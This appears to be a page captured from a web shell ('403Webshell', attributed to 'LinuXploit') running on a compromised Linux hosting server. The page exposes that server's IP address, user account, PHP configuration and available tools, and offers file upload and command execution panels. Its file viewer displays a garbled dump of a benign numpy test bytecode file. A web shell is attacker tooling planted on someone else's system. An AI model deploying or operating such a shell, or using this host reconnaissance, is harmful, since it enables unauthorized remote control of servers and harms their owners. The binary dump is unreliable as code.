403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.148.217.26
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib64/python3.7/site-packages/numpy/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib64/python3.7/site-packages/numpy/tests/__pycache__/test_scripts.cpython-37.pyc
B

��Fd�@s�dZddlmZmZmZddlZddlmZm	Z	m
Z
mZddlZddl
mZmZddlZddlmZddlmZddlmZdd	lmZe	ee
ej�d
d��Zdd
d�Zee�dd��ZdS)z\ Test scripts

Test that we can run executable scripts that have been installed with numpy.
�)�division�print_function�absolute_importN)�join�isfile�dirname�basename)�Popen�PIPE)�
basestring)�assert_equal)�skipif)�assert_z..zsetup.pyTcCs�t|t�r|gnt|�}tjdkr0dd�|D�}t|ttd�}|��\}}|��dkr^|�	�|r�|j
dkr�td�dd	d
ddd
d
dg��
|||���|j
||fS)ap Run command sequence `cmd` returning exit code, stdout, stderr

    Parameters
    ----------
    cmd : str or sequence
        string with command name or sequence of strings defining command
    check_code : {True, False}, optional
        If True, raise error for non-zero return code

    Returns
    -------
    returncode : int
        return code from execution of `cmd`
    stdout : bytes (python 3) or str (python 2)
        stdout from `cmd`
    stderr : bytes (python 3) or str (python 2)
        stderr from `cmd`

    Raises
    ------
    RuntimeError
        If `check_code` is True, and return code !=0
    �ntcSs"g|]}d|krd�|�n|�qS)� z"{0}")�format)�.0�c�r��/builddir/build/BUILDROOT/alt-python37-numpy-1.13.3-8.el8.x86_64/opt/alt/python37/lib64/python3.7/site-packages/numpy/tests/test_scripts.py�
<listcomp>1szrun_command.<locals>.<listcomp>)�stdout�stderrNr�
zCommand "{0}" failed withrz------z{1}�rz{2})�
isinstancer�list�os�namer	r
�communicate�poll�	terminate�
returncode�RuntimeErrorrr)�cmdZ
check_code�procrrrrr�run_commands
r&cCs�tjdkr^ttj�}|�d�r(d|}nd|}ttj|dg�\}}}|��dk}t|d�n�tj}t	|j
�}t	|j�}dd|d|d	|f}	d
}xD|	D]<}y*t|dg�\}}}t|��d�d}PWq�Yq�Xq�Wd|	}
t||
�dS)
N�win32ZScriptsz
%s\f2py.pyz%s\Scripts\f2py.pyz-v�2zWarning: f2py not found in path�f2py�.FTz/Warning: neither %s nor %s nor %s found in path)
�sys�platformr�
executable�endswithr&�stripr�version_info�str�major�minorr)�exe_dirZf2py_cmd�coderr�success�versionr2r3Z	f2py_cmds�msgrrr�	test_f2py>s.







r9)T)�__doc__�
__future__rrrr�os.pathrZpathjoinrrrr+�
subprocessr	r
�numpy�npZnumpy.compat.py3kr�
nose.toolsrZnumpy.testing.decoratorsr
Z
numpy.testingr�__file__Z
is_inplacer&r9rrrr�<module>s
*

Youez - 2016 - github.com/yon3zu
LinuXploit